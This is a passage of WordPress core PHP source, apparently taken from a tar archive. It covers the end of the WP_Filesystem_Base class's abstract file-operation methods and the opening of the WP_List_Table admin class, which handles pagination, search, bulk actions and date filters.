		for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
			$key = array_search( $attarray[ $i ], $legal, true );

			if ( $key ) {
				$realmode .= $legal[ $key ];
			}
		}

		$mode  = str_pad( $realmode, 10, '-', STR_PAD_LEFT );
		$trans = array(
			'-' => '0',
			'r' => '4',
			'w' => '2',
			'x' => '1',
		);
		$mode  = strtr( $mode, $trans );

		$newmode  = $mode[0];
		$newmode .= $mode[1] + $mode[2] + $mode[3];
		$newmode .= $mode[4] + $mode[5] + $mode[6];
		$newmode .= $mode[7] + $mode[8] + $mode[9];

		return $newmode;
	}

	/**
	 * Determines if the string provided contains binary characters.
	 *
	 * @since 2.7.0
	 *
	 * @param string $text String to test against.
	 * @return bool True if string is binary, false otherwise.
	 */
	public function is_binary( $text ) {
		return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
	}

	/**
	 * Changes the owner of a file or directory.
	 *
	 * Default behavior is to do nothing, override this in your subclass, if desired.
	 *
	 * @since 2.5.0
	 *
	 * @param string     $file      Path to the file or directory.
	 * @param string|int $owner     A user name or number.
	 * @param bool       $recursive Optional. If set to true, changes file owner recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chown( $file, $owner, $recursive = false ) {
		return false;
	}

	/**
	 * Connects filesystem.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return bool True on success, false on failure (always true for WP_Filesystem_Direct).
	 */
	public function connect() {
		return true;
	}

	/**
	 * Reads entire file into a string.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Name of the file to read.
	 * @return string|false Read data on success, false on failure.
	 */
	public function get_contents( $file ) {
		return false;
	}

	/**
	 * Reads entire file into an array.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return array|false File contents in an array on success, false on failure.
	 */
	public function get_contents_array( $file ) {
		return false;
	}

	/**
	 * Writes a string to a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file     Remote path to the file where to write the data.
	 * @param string    $contents The data to write.
	 * @param int|false $mode     Optional. The file permissions as octal number, usually 0644.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function put_contents( $file, $contents, $mode = false ) {
		return false;
	}

	/**
	 * Gets the current working directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @return string|false The current working directory on success, false on failure.
	 */
	public function cwd() {
		return false;
	}

	/**
	 * Changes current directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $dir The new current directory.
	 * @return bool True on success, false on failure.
	 */
	public function chdir( $dir ) {
		return false;
	}

	/**
	 * Changes the file group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string     $file      Path to the file.
	 * @param string|int $group     A group name or number.
	 * @param bool       $recursive Optional. If set to true, changes file group recursively.
	 *                              Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chgrp( $file, $group, $recursive = false ) {
		return false;
	}

	/**
	 * Changes filesystem permissions.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $file      Path to the file.
	 * @param int|false $mode      Optional. The permissions as octal number, usually 0644 for files,
	 *                             0755 for directories. Default false.
	 * @param bool      $recursive Optional. If set to true, changes file permissions recursively.
	 *                             Default false.
	 * @return bool True on success, false on failure.
	 */
	public function chmod( $file, $mode = false, $recursive = false ) {
		return false;
	}

	/**
	 * Gets the file owner.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false Username of the owner on success, false on failure.
	 */
	public function owner( $file ) {
		return false;
	}

	/**
	 * Gets the file's group.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to the file.
	 * @return string|false The group on success, false on failure.
	 */
	public function group( $file ) {
		return false;
	}

	/**
	 * Copies a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string    $source      Path to the source file.
	 * @param string    $destination Path to the destination file.
	 * @param bool      $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                               Default false.
	 * @param int|false $mode        Optional. The permissions as octal number, usually 0644 for files,
	 *                               0755 for dirs. Default false.
	 * @return bool True on success, false on failure.
	 */
	public function copy( $source, $destination, $overwrite = false, $mode = false ) {
		return false;
	}

	/**
	 * Moves a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $source      Path to the source file.
	 * @param string $destination Path to the destination file.
	 * @param bool   $overwrite   Optional. Whether to overwrite the destination file if it exists.
	 *                            Default false.
	 * @return bool True on success, false on failure.
	 */
	public function move( $source, $destination, $overwrite = false ) {
		return false;
	}

	/**
	 * Deletes a file or directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string       $file      Path to the file or directory.
	 * @param bool         $recursive Optional. If set to true, deletes files and folders recursively.
	 *                                Default false.
	 * @param string|false $type      Type of resource. 'f' for file, 'd' for directory.
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function delete( $file, $recursive = false, $type = false ) {
		return false;
	}

	/**
	 * Checks if a file or directory exists.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path exists or not.
	 */
	public function exists( $path ) {
		return false;
	}

	/**
	 * Checks if resource is a file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file File path.
	 * @return bool Whether $file is a file.
	 */
	public function is_file( $file ) {
		return false;
	}

	/**
	 * Checks if resource is a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Directory path.
	 * @return bool Whether $path is a directory.
	 */
	public function is_dir( $path ) {
		return false;
	}

	/**
	 * Checks if a file is readable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return bool Whether $file is readable.
	 */
	public function is_readable( $file ) {
		return false;
	}

	/**
	 * Checks if a file or directory is writable.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path Path to file or directory.
	 * @return bool Whether $path is writable.
	 */
	public function is_writable( $path ) {
		return false;
	}

	/**
	 * Gets the file's last access time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing last access time, false on failure.
	 */
	public function atime( $file ) {
		return false;
	}

	/**
	 * Gets the file modification time.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Unix timestamp representing modification time, false on failure.
	 */
	public function mtime( $file ) {
		return false;
	}

	/**
	 * Gets the file size (in bytes).
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file Path to file.
	 * @return int|false Size of the file in bytes on success, false on failure.
	 */
	public function size( $file ) {
		return false;
	}

	/**
	 * Sets the access and modification times of a file.
	 *
	 * Note: If $file doesn't exist, it will be created.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $file  Path to file.
	 * @param int    $time  Optional. Modified time to set for file.
	 *                      Default 0.
	 * @param int    $atime Optional. Access time to set for file.
	 *                      Default 0.
	 * @return bool True on success, false on failure.
	 */
	public function touch( $file, $time = 0, $atime = 0 ) {
		return false;
	}

	/**
	 * Creates a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string           $path  Path for new directory.
	 * @param int|false        $chmod Optional. The permissions as octal number (or false to skip chmod).
	 *                                Default false.
	 * @param string|int|false $chown Optional. A user name or number (or false to skip chown).
	 *                                Default false.
	 * @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
	 *                                Default false.
	 * @return bool True on success, false on failure.
	 */
	public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
		return false;
	}

	/**
	 * Deletes a directory.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path      Path to directory.
	 * @param bool   $recursive Optional. Whether to recursively remove files/directories.
	 *                          Default false.
	 * @return bool True on success, false on failure.
	 */
	public function rmdir( $path, $recursive = false ) {
		return false;
	}

	/**
	 * Gets details for files in a directory or a specific file.
	 *
	 * @since 2.5.0
	 * @abstract
	 *
	 * @param string $path           Path to directory or file.
	 * @param bool   $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
	 *                               Default true.
	 * @param bool   $recursive      Optional. Whether to recursively include file details in nested directories.
	 *                               Default false.
	 * @return array|false {
	 *     Array of arrays containing file information. False if unable to list directory contents.
	 *
	 *     @type array $0... {
	 *         Array of file information. Note that some elements may not be available on all filesystems.
	 *
	 *         @type string           $name        Name of the file or directory.
	 *         @type string           $perms       *nix representation of permissions.
	 *         @type string           $permsn      Octal representation of permissions.
	 *         @type int|string|false $number      File number. May be a numeric string. False if not available.
	 *         @type string|false     $owner       Owner name or ID, or false if not available.
	 *         @type string|false     $group       File permissions group, or false if not available.
	 *         @type int|string|false $size        Size of file in bytes. May be a numeric string.
	 *                                             False if not available.
	 *         @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
	 *                                             False if not available.
	 *         @type string|false     $lastmod     Last modified month (3 letters) and day (without leading 0), or
	 *                                             false if not available.
	 *         @type string|false     $time        Last modified time, or false if not available.
	 *         @type string           $type        Type of resource. 'f' for file, 'd' for directory, 'l' for link.
	 *         @type array|false      $files       If a directory and `$recursive` is true, contains another array of
	 *                                             files. False if unable to list directory contents.
	 *     }
	 * }
	 */
	public function dirlist( $path, $include_hidden = true, $recursive = false ) {
		return false;
	}
}
class-wp-list-table.php000064400000146365150275632050011070 0ustar00<?php
/**
 * Administration API: WP_List_Table class
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 */

/**
 * Base class for displaying a list of items in an ajaxified HTML table.
 *
 * @since 3.1.0
 */
#[AllowDynamicProperties]
class WP_List_Table {

	/**
	 * The current list of items.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	public $items;

	/**
	 * Various information about the current table.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_args;

	/**
	 * Various information needed for displaying the pagination.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $_pagination_args = array();

	/**
	 * The current screen.
	 *
	 * @since 3.1.0
	 * @var WP_Screen
	 */
	protected $screen;

	/**
	 * Cached bulk actions.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	private $_actions;

	/**
	 * Cached pagination output.
	 *
	 * @since 3.1.0
	 * @var string
	 */
	private $_pagination;

	/**
	 * The view switcher modes.
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $modes = array();

	/**
	 * Stores the value returned by ->get_column_info().
	 *
	 * @since 4.1.0
	 * @var array
	 */
	protected $_column_headers;

	/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_fields = array( '_args', '_pagination_args', 'screen', '_actions', '_pagination' );

	/**
	 * {@internal Missing Summary}
	 *
	 * @var array
	 */
	protected $compat_methods = array(
		'set_pagination_args',
		'get_views',
		'get_bulk_actions',
		'bulk_actions',
		'row_actions',
		'months_dropdown',
		'view_switcher',
		'comments_bubble',
		'get_items_per_page',
		'pagination',
		'get_sortable_columns',
		'get_column_info',
		'get_table_classes',
		'display_tablenav',
		'extra_tablenav',
		'single_row_columns',
	);

	/**
	 * Constructor.
	 *
	 * The child class should call this constructor from its own constructor to override
	 * the default $args.
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args {
	 *     Array or string of arguments.
	 *
	 *     @type string $plural   Plural value used for labels and the objects being listed.
	 *                            This affects things such as CSS class-names and nonces used
	 *                            in the list table, e.g. 'posts'. Default empty.
	 *     @type string $singular Singular label for an object being listed, e.g. 'post'.
	 *                            Default empty
	 *     @type bool   $ajax     Whether the list table supports Ajax. This includes loading
	 *                            and sorting data, for example. If true, the class will call
	 *                            the _js_vars() method in the footer to provide variables
	 *                            to any scripts handling Ajax events. Default false.
	 *     @type string $screen   String containing the hook name used to determine the current
	 *                            screen. If left null, the current screen will be automatically set.
	 *                            Default null.
	 * }
	 */
	public function __construct( $args = array() ) {
		$args = wp_parse_args(
			$args,
			array(
				'plural'   => '',
				'singular' => '',
				'ajax'     => false,
				'screen'   => null,
			)
		);

		$this->screen = convert_to_screen( $args['screen'] );

		add_filter( "manage_{$this->screen->id}_columns", array( $this, 'get_columns' ), 0 );

		if ( ! $args['plural'] ) {
			$args['plural'] = $this->screen->base;
		}

		$args['plural']   = sanitize_key( $args['plural'] );
		$args['singular'] = sanitize_key( $args['singular'] );

		$this->_args = $args;

		if ( $args['ajax'] ) {
			// wp_enqueue_script( 'list-table' );
			add_action( 'admin_footer', array( $this, '_js_vars' ) );
		}

		if ( empty( $this->modes ) ) {
			$this->modes = array(
				'list'    => __( 'Compact view' ),
				'excerpt' => __( 'Extended view' ),
			);
		}
	}

	/**
	 * Makes private properties readable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Getting a dynamic property is deprecated.
	 *
	 * @param string $name Property to get.
	 * @return mixed Property.
	 */
	public function __get( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return $this->$name;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Getting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return null;
	}

	/**
	 * Makes private properties settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Setting a dynamic property is deprecated.
	 *
	 * @param string $name  Property to check if set.
	 * @param mixed  $value Property value.
	 */
	public function __set( $name, $value ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			$this->$name = $value;
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Setting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private properties checkable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Checking a dynamic property is deprecated.
	 *
	 * @param string $name Property to check if set.
	 * @return bool Whether the property is a back-compat property and it is set.
	 */
	public function __isset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			return isset( $this->$name );
		}

		wp_trigger_error(
			__METHOD__,
			"The property `{$name}` is not declared. Checking `isset()` on a dynamic property " .
			'is deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
		return false;
	}

	/**
	 * Makes private properties un-settable for backward compatibility.
	 *
	 * @since 4.0.0
	 * @since 6.4.0 Unsetting a dynamic property is deprecated.
	 *
	 * @param string $name Property to unset.
	 */
	public function __unset( $name ) {
		if ( in_array( $name, $this->compat_fields, true ) ) {
			unset( $this->$name );
			return;
		}

		wp_trigger_error(
			__METHOD__,
			"A property `{$name}` is not declared. Unsetting a dynamic property is " .
			'deprecated since version 6.4.0! Instead, declare the property on the class.',
			E_USER_DEPRECATED
		);
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|bool Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( in_array( $name, $this->compat_methods, true ) ) {
			return $this->$name( ...$arguments );
		}
		return false;
	}

	/**
	 * Checks the current user's permissions
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function ajax_user_can() {
		die( 'function WP_List_Table::ajax_user_can() must be overridden in a subclass.' );
	}

	/**
	 * Prepares the list of items for displaying.
	 *
	 * @uses WP_List_Table::set_pagination_args()
	 *
	 * @since 3.1.0
	 * @abstract
	 */
	public function prepare_items() {
		die( 'function WP_List_Table::prepare_items() must be overridden in a subclass.' );
	}

	/**
	 * Sets all the necessary pagination arguments.
	 *
	 * @since 3.1.0
	 *
	 * @param array|string $args Array or string of arguments with information about the pagination.
	 */
	protected function set_pagination_args( $args ) {
		$args = wp_parse_args(
			$args,
			array(
				'total_items' => 0,
				'total_pages' => 0,
				'per_page'    => 0,
			)
		);

		if ( ! $args['total_pages'] && $args['per_page'] > 0 ) {
			$args['total_pages'] = ceil( $args['total_items'] / $args['per_page'] );
		}

		// Redirect if page number is invalid and headers are not already sent.
		if ( ! headers_sent() && ! wp_doing_ajax() && $args['total_pages'] > 0 && $this->get_pagenum() > $args['total_pages'] ) {
			wp_redirect( add_query_arg( 'paged', $args['total_pages'] ) );
			exit;
		}

		$this->_pagination_args = $args;
	}

	/**
	 * Access the pagination args.
	 *
	 * @since 3.1.0
	 *
	 * @param string $key Pagination argument to retrieve. Common values include 'total_items',
	 *                    'total_pages', 'per_page', or 'infinite_scroll'.
	 * @return int Number of items that correspond to the given pagination argument.
	 */
	public function get_pagination_arg( $key ) {
		if ( 'page' === $key ) {
			return $this->get_pagenum();
		}

		if ( isset( $this->_pagination_args[ $key ] ) ) {
			return $this->_pagination_args[ $key ];
		}

		return 0;
	}

	/**
	 * Determines whether the table has items to display or not
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function has_items() {
		return ! empty( $this->items );
	}

	/**
	 * Message to be displayed when there are no items
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No items found.' );
	}

	/**
	 * Displays the search box.
	 *
	 * @since 3.1.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

		$input_id = $input_id . '-search-input';

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['post_mime_type'] ) ) {
			echo '<input type="hidden" name="post_mime_type" value="' . esc_attr( $_REQUEST['post_mime_type'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['detached'] ) ) {
			echo '<input type="hidden" name="detached" value="' . esc_attr( $_REQUEST['detached'] ) . '" />';
		}
		?>
<p class="search-box">
	<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
	<input type="search" id="<?php echo esc_attr( $input_id ); ?>" name="s" value="<?php _admin_search_query(); ?>" />
		<?php submit_button( $text, '', '', false, array( 'id' => 'search-submit' ) ); ?>
</p>
		<?php
	}

	/**
	 * Generates views links.
	 *
	 * @since 6.1.0
	 *
	 * @param array $link_data {
	 *     An array of link data.
	 *
	 *     @type string $url     The link URL.
	 *     @type string $label   The link label.
	 *     @type bool   $current Optional. Whether this is the currently selected view.
	 * }
	 * @return string[] An array of link markup. Keys match the `$link_data` input array.
	 */
	protected function get_views_links( $link_data = array() ) {
		if ( ! is_array( $link_data ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: The $link_data argument. */
					__( 'The %s argument must be an array.' ),
					'<code>$link_data</code>'
				),
				'6.1.0'
			);

			return array( '' );
		}

		$views_links = array();

		foreach ( $link_data as $view => $link ) {
			if ( empty( $link['url'] ) || ! is_string( $link['url'] ) || '' === trim( $link['url'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: The argument name. %2$s: The view name. */
						__( 'The %1$s argument must be a non-empty string for %2$s.' ),
						'<code>url</code>',
						'<code>' . esc_html( $view ) . '</code>'
					),
					'6.1.0'
				);

				continue;
			}

			if ( empty( $link['label'] ) || ! is_string( $link['label'] ) || '' === trim( $link['label'] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: The argument name. %2$s: The view name. */
						__( 'The %1$s argument must be a non-empty string for %2$s.' ),
						'<code>label</code>',
						'<code>' . esc_html( $view ) . '</code>'
					),
					'6.1.0'
				);

				continue;
			}

			$views_links[ $view ] = sprintf(
				'<a href="%s"%s>%s</a>',
				esc_url( $link['url'] ),
				isset( $link['current'] ) && true === $link['current'] ? ' class="current" aria-current="page"' : '',
				$link['label']
			);
		}

		return $views_links;
	}

	/**
	 * Gets the list of views available on this table.
	 *
	 * The format is an associative array:
	 * - `'id' => 'link'`
	 *
	 * @since 3.1.0
	 *
	 * @return array
	 */
	protected function get_views() {
		return array();
	}

	/**
	 * Displays the list of views available on this table.
	 *
	 * @since 3.1.0
	 */
	public function views() {
		$views = $this->get_views();
		/**
		 * Filters the list of available list table views.
		 *
		 * The dynamic portion of the hook name, `$this->screen->id`, refers
		 * to the ID of the current screen.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $views An array of available list table views.
		 */
		$views = apply_filters( "views_{$this->screen->id}", $views );

		if ( empty( $views ) ) {
			return;
		}

		$this->screen->render_screen_reader_content( 'heading_views' );

		echo "<ul class='subsubsub'>\n";
		foreach ( $views as $class => $view ) {
			$views[ $class ] = "\t<li class='$class'>$view";
		}
		echo implode( " |</li>\n", $views ) . "</li>\n";
		echo '</ul>';
	}

	/**
	 * Retrieves the list of bulk actions available for this table.
	 *
	 * The format is an associative array where each element represents either a top level option value and label, or
	 * an array representing an optgroup and its options.
	 *
	 * For a standard option, the array element key is the field value and the array element value is the field label.
	 *
	 * For an optgroup, the array element key is the label and the array element value is an associative array of
	 * options as above.
	 *
	 * Example:
	 *
	 *     [
	 *         'edit'         => 'Edit',
	 *         'delete'       => 'Delete',
	 *         'Change State' => [
	 *             'feature' => 'Featured',
	 *             'sale'    => 'On Sale',
	 *         ]
	 *     ]
	 *
	 * @since 3.1.0
	 * @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		return array();
	}

	/**
	 * Displays the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which The location of the bulk actions: 'top' or 'bottom'.
	 *                      This is designated as optional for backward compatibility.
	 */
	protected function bulk_actions( $which = '' ) {
		if ( is_null( $this->_actions ) ) {
			$this->_actions = $this->get_bulk_actions();

			/**
			 * Filters the items in the bulk actions menu of the list table.
			 *
			 * The dynamic portion of the hook name, `$this->screen->id`, refers
			 * to the ID of the current screen.
			 *
			 * @since 3.1.0
			 * @since 5.6.0 A bulk action can now contain an array of options in order to create an optgroup.
			 *
			 * @param array $actions An array of the available bulk actions.
			 */
			$this->_actions = apply_filters( "bulk_actions-{$this->screen->id}", $this->_actions ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$two = '';
		} else {
			$two = '2';
		}

		if ( empty( $this->_actions ) ) {
			return;
		}

		echo '<label for="bulk-action-selector-' . esc_attr( $which ) . '" class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Select bulk action' ) .
		'</label>';
		echo '<select name="action' . $two . '" id="bulk-action-selector-' . esc_attr( $which ) . "\">\n";
		echo '<option value="-1">' . __( 'Bulk actions' ) . "</option>\n";

		foreach ( $this->_actions as $key => $value ) {
			if ( is_array( $value ) ) {
				echo "\t" . '<optgroup label="' . esc_attr( $key ) . '">' . "\n";

				foreach ( $value as $name => $title ) {
					$class = ( 'edit' === $name ) ? ' class="hide-if-no-js"' : '';

					echo "\t\t" . '<option value="' . esc_attr( $name ) . '"' . $class . '>' . $title . "</option>\n";
				}
				echo "\t" . "</optgroup>\n";
			} else {
				$class = ( 'edit' === $key ) ? ' class="hide-if-no-js"' : '';

				echo "\t" . '<option value="' . esc_attr( $key ) . '"' . $class . '>' . $value . "</option>\n";
			}
		}

		echo "</select>\n";

		submit_button( __( 'Apply' ), 'action', '', false, array( 'id' => "doaction$two" ) );
		echo "\n";
	}

	/**
	 * Gets the current action selected from the bulk actions dropdown.
	 *
	 * @since 3.1.0
	 *
	 * @return string|false The action name. False if no action was selected.
	 */
	public function current_action() {
		if ( isset( $_REQUEST['filter_action'] ) && ! empty( $_REQUEST['filter_action'] ) ) {
			return false;
		}

		if ( isset( $_REQUEST['action'] ) && -1 != $_REQUEST['action'] ) {
			return $_REQUEST['action'];
		}

		return false;
	}

	/**
	 * Generates the required HTML for a list of row action links.
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $actions        An array of action links.
	 * @param bool     $always_visible Whether the actions should be always visible.
	 * @return string The HTML for the row actions.
	 */
	protected function row_actions( $actions, $always_visible = false ) {
		$action_count = count( $actions );

		if ( ! $action_count ) {
			return '';
		}

		$mode = get_user_setting( 'posts_list_mode', 'list' );

		if ( 'excerpt' === $mode ) {
			$always_visible = true;
		}

		$output = '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			$separator = ( $i < $action_count ) ? ' | ' : '';

			$output .= "<span class='$action'>{$link}{$separator}</span>";
		}

		$output .= '</div>';

		$output .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>';

		return $output;
	}

	/**
	 * Displays a dropdown for filtering items in the list table by month.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb      $wpdb      WordPress database abstraction object.
	 * @global WP_Locale $wp_locale WordPress date and time locale object.
	 *
	 * @param string $post_type The post type.
	 */
	protected function months_dropdown( $post_type ) {
		global $wpdb, $wp_locale;

		/**
		 * Filters whether to remove the 'Months' drop-down from the post list table.
		 *
		 * @since 4.2.0
		 *
		 * @param bool   $disable   Whether to disable the drop-down. Default false.
		 * @param string $post_type The post type.
		 */
		if ( apply_filters( 'disable_months_dropdown', false, $post_type ) ) {
			return;
		}

		/**
		 * Filters whether to short-circuit performing the months dropdown query.
		 *
		 * @since 5.7.0
		 *
		 * @param object[]|false $months   'Months' drop-down results. Default false.
		 * @param string         $post_type The post type.
		 */
		$months = apply_filters( 'pre_months_dropdown_query', false, $post_type );

		if ( ! is_array( $months ) ) {
			$extra_checks = "AND post_status != 'auto-draft'";
			if ( ! isset( $_GET['post_status'] ) || 'trash' !== $_GET['post_status'] ) {
				$extra_checks .= " AND post_status != 'trash'";
			} elseif ( isset( $_GET['post_status'] ) ) {
				$extra_checks = $wpdb->prepare( ' AND post_status = %s', $_GET['post_status'] );
			}

			$months = $wpdb->get_results(
				$wpdb->prepare(
					"SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
					FROM $wpdb->posts
					WHERE post_type = %s
					$extra_checks
					ORDER BY post_date DESC",
					$post_type
				)
			);
		}

		/**
		 * Filters the 'Months' drop-down results.
		 *
		 * @since 3.7.0
		 *
		 * @param object[] $months    Array of the months drop-down query results.
		 * @param string   $post_type The post type.
		 */
		$months = apply_filters( 'months_dropdown_results', $months, $post_type );

		$month_count = count( $months );

		if ( ! $month_count || ( 1 == $month_count && 0 == $months[0]->month ) ) {
			return;
		}

		$m = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0;
		?>
		<label for="filter-by-date" class="screen-reader-text"><?php echo get_post_type_object( $post_type )->labels->filter_by_date; ?></label>
		<select name="m" id="filter-by-date">
			<option<?php selected( $m, 0 ); ?> value="0"><?php _e( 'All dates' ); ?></option>
		<?php
		foreach ( $months as $arc_row ) {
			if ( 0 == $arc_row->year ) {
				continue;
			}

			$month = zeroise( $arc_row->month, 2 );
			$year  = $arc_row->year;

			printf(
				"<option %s value='%s'>%s</option>\n",
				selected( $m, $year . $month, false ),
				esc_attr( $arc_row->year . $month ),
				/* translators: 1: Month name, 2: 4-digit year. */
				sprintf( __( '%1$s %2$d' ), $wp_locale->get_month( $month ), $year )
			);
		}
		?>
		</select>
		<?php
	}

	/**
	 * Displays a view switcher.
	 *
	 * @since 3.1.0
	 *
	 * @param string $current_mode
	 */
	protected function view_switcher( $current_mode ) {
		?>
		<input type="hidden" name="mode" value="<?php echo esc_attr( $current_mode ); ?>" />
		<div class="view-switch">
		<?php
		foreach ( $this->modes as $mode => $title ) {
			$classes      = array( 'view-' . $mode );
			$aria_current = '';

			if ( $current_mode === $mode ) {
				$classes[]    = 'current';
				$aria_current = ' aria-current="page"';
			}

			printf(
				"<a href='%s' class='%s' id='view-switch-$mode'$aria_current>" .
					"<span class='screen-reader-text'>%s</span>" .
				"</a>\n",
				esc_url( remove_query_arg( 'attachment-filter', add_query_arg( 'mode', $mode ) ) ),
				implode( ' ', $classes ),
				$title
			);
		}
		?>
		</div>
		<?php
	}

	/**
	 * Displays a comment count bubble.
	 *
	 * @since 3.1.0
	 *
	 * @param int $post_id          The post ID.
	 * @param int $pending_comments Number of pending comments.
	 */
	protected function comments_bubble( $post_id, $pending_comments ) {
		$approved_comments = get_comments_number();

		$approved_comments_number = number_format_i18n( $approved_comments );
		$pending_comments_number  = number_format_i18n( $pending_comments );

		$approved_only_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s comment', '%s comments', $approved_comments ),
			$approved_comments_number
		);

		$approved_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s approved comment', '%s approved comments', $approved_comments ),
			$approved_comments_number
		);

		$pending_phrase = sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s pending comment', '%s pending comments', $pending_comments ),
			$pending_comments_number
		);

		$post_object   = get_post( $post_id );
		$edit_post_cap = $post_object ? 'edit_post' : 'edit_posts';
		if (
			current_user_can( $edit_post_cap, $post_id ) ||
			(
				empty( $post_object->post_password ) &&
				current_user_can( 'read_post', $post_id )
			)
		) {
			// The user has access to the post and thus can see comments
		} else {
			return false;
		}

		if ( ! $approved_comments && ! $pending_comments ) {
			// No comments at all.
			printf(
				'<span aria-hidden="true">&#8212;</span>' .
				'<span class="screen-reader-text">%s</span>',
				__( 'No comments' )
			);
		} elseif ( $approved_comments && 'trash' === get_post_status( $post_id ) ) {
			// Don't link the comment bubble for a trashed post.
			printf(
				'<span class="post-com-count post-com-count-approved">' .
					'<span class="comment-count-approved" aria-hidden="true">%s</span>' .
